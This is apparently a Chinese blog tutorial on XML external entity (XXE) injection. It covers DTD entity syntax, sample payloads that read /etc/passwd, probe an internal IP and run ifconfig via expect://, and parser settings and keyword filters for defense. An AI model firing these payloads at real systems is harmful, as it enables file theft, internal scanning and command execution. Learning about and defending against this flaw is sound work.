XXE--XML外部实体注入漏洞
XXE漏洞原理
XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
PS:php版本大于5.4.45的默认不解析外部实体
要了解XXE,就必须懂得XML的一些规则:
XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XXE
这里我们主要需要了解的是文档类型定义,因为XXE就发生在这里,其余规则暂时不做赘述:
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
在DTD内,我们可以声明外部实体,语法规则如下:
内部声明实体
<!ENTITY 实体名称 "实体的值" >
引用外部实体
<!ENTITY 实体名称 SYSTEM "URI" >
注意事项:实体又分为一般实体和参数实体。
1,一般实体的声明语法:<!ENTITY 实体名 "实体内容“>
引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容“>
引用实体的方式:%实体名;
(1)内部实体声明:<!ENTITY 实体名称 "实体的值">
ex:<!ENTITY eviltest "eviltest">
注意和DTD中的元素声明区别<!ENTITY 声明元素>
代码实例:
1 <?xml version="1.0"?>
2 <!DOCTYPE test [
3 <!ENTITY writer "Bill Gates">
4 <!ENTITY copyright "Copyright W3School.com.cn">
5 ]>
6
7 <test>&writer;©right;</test>
8
(2)外部实体声明:<!ENTITY 实体名称 SYSTEM "URI">
引入外部参数实体outdtd.dtd文件
代码实例:
1 <?xml version="1.0" encoding="UTF-8"?>
2 <!DOCTYPE % test[
3 <!ENTITY % a SYSTEM “http://www.test.com/outdtd.dtd">
4 %a;
5 ]>
6 <test>&xxe;</test>
.dtd文件代码:(outdtd.dtd )
1 <!ENTITY xxe SYSTEM "file:///etc/passwd">
XXE危害
- 任意文件读取
- 内网端口扫描(SSRF)
- DDoS攻击
- 命令执行
XXE利用
一:探测内网地址
利用代码如下:
1 <?xml version="1.0" encoding="utf-8"?>
2 <!DOCTYPE xxe [
3 <!ELEMENT name ANY>
4 <!ENTITY xxe SYSTEM "http://192.168.0.100:80">]>
5 <root>
6 <name>&xxe;</name>
7 </root>
二:执行命令
在Linux系统安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系命令
利用代码如下:
1 <?xml version="1.0" encoding="utf-8"?>
2 <!DOCTYPE xxe[
3 <!ELEMENT name ANY>
4 <!ENTITY xxe SYSTEM "expect://ifconfig">]>
5 <root>
6 <name>&xxe;</name>
7 </root>
8
9 //这里读取系统命令ifconfig读取ip
更多的XXE漏洞利用方法可参考:https://www.freebuf.com/articles/web/177979.html
XXE防御
方法一:使用开发语言提供的禁用外部实体的方法。
1 PHP:
2 libxml_disable_entity_loader(true);
3
4 JAVA:
5 DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
6 dbf.setExpandEntityReferences(false);
7
8 Python:
9 from lxml import etree
10 xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
11
方法二:过滤用户提交的XML数据。
关键词:<!DOCTYPE和<!ENTITY 或者 SYSTEM和PUBLIC
XXE--XML外部实体注入漏洞的更多相关文章
- Pikachu-XXE(xml外部实体注入漏洞)
XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...
- Xml外部实体注入漏洞
Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...
- CTF中关于XXE(XML外部实体注入)题目两道
题目:UNCTF-Do you like xml? 链接:http://112.74.37.15:8008/ hint:weak password (弱密码) 1.观察后下载图片拖进WINHEX发现提 ...
- XML外部实体注入漏洞(XXE)
转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...
- XXE(xml外部实体注入漏洞)
实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...
- 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析
0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...
- 应用安全-XXE(XML外部实体注入)攻防整理
libxml2..1及以后,默认不解析外部实体.测试的时候window下使用php5.(libxml Version ), php5.(libxml Version ).Linux中需要将libxml ...
- PHP xml 外部实体注入漏洞学习
XML与xxe注入基础知识 1.XMl定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言:可扩展的样式语言(Exten ...
- 【JAVA XXE攻击】微信支付官方回应XML外部实体注入漏洞
官方回应连接:https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5 其中明确指出了代码修改的地方. 然后看到此文档后,我就改公司项 ...
- 【研究】XML外部实体注入(XXE)
在正式发布的2017 OWAST Top10榜单中,出现了三种新威胁: A4:XML外部实体注入漏洞(XXE) A8:不安全的反序列化漏洞 A10:不足的记录和监控漏洞 验证XXE: 构造请求 < ...
随机推荐
- arm linux 移植 jpeg
背景: host平台 :Ubuntu 16.04 arm平台 : S5P6818 jpeg :v9c arm-gcc :4.8.1 主机准备: 运行以下脚本: ## # Copyright By Sc ...
- vue axios 数据请求实现
1.安装nginx npm install axios --save-dev cnpm install axios --save-dev 使用淘宝镜像 保存依赖文件到本地 装好了.packjson.j ...
- 学习Linux让我进入了知名企业
说起我学习Linux的原因是多方面的,大学时我学的是物理学师范专业,有部分计算机课程,但我觉得这些课程没什么实际作用,我自己对计算机比较感兴趣,我利用业余时间学习了很多计算机技术.在大学期间我参加了很 ...
- 使用命令行连接远程DB2数据库
1. 打开命令窗口 win + r 输入 db2cmd 2. 首先在客户机上对远程节点进行编目 CATALOG TCPIP //编目一个TCP/IP节点NOD ...
- Day6-T4
原题目 Describe:差分约束模板题吧...LG上竟然是省选+ code: #include<bits/stdc++.h> #define INF 214748364 using na ...
- Java虚拟机03(Java虚拟机内存模型)
根据 JVM 规范,JVM 内存共分为虚拟机栈.堆.方法区.程序计数器.本地方法栈五个部分. 其实最需要Java程序员关注的是堆,栈,还有方法区,因为啊: 如果代码又问题的话,可能回出现栈溢出 然后说 ...
- java api 远程连接 hdfs
IDEA中新建Maven工程,添加POM依赖, 在IDE的提示中, 点击 Import Changes 等待自动下载完成相关的依赖包. <?xml version="1.0" ...
- 2.7 学习总结 之【Android】java To Kotlin 一(初识)
一.Kotlin 的方便之处 1.Kotlin 可以直接使用id来呼叫操控相应的控件( textView.text = "0" ) java( TextView textVie ...
- MongoDB 删除,添加副本集,并修改副本集IP等信息
MongoDB 删除,添加副本集,并修改副本集IP等信息 添加副本,在登录到主节点下输入 rs.add("ip:port"); 删除副本 rs.remove("ip:po ...
- exctern C
在C++中调用C语言 因为C++扩展了函数重载.编译时会将函数名修改,所以直接条用会出错. #ifdef __cplusplusextern "C" {#endif // __cp ...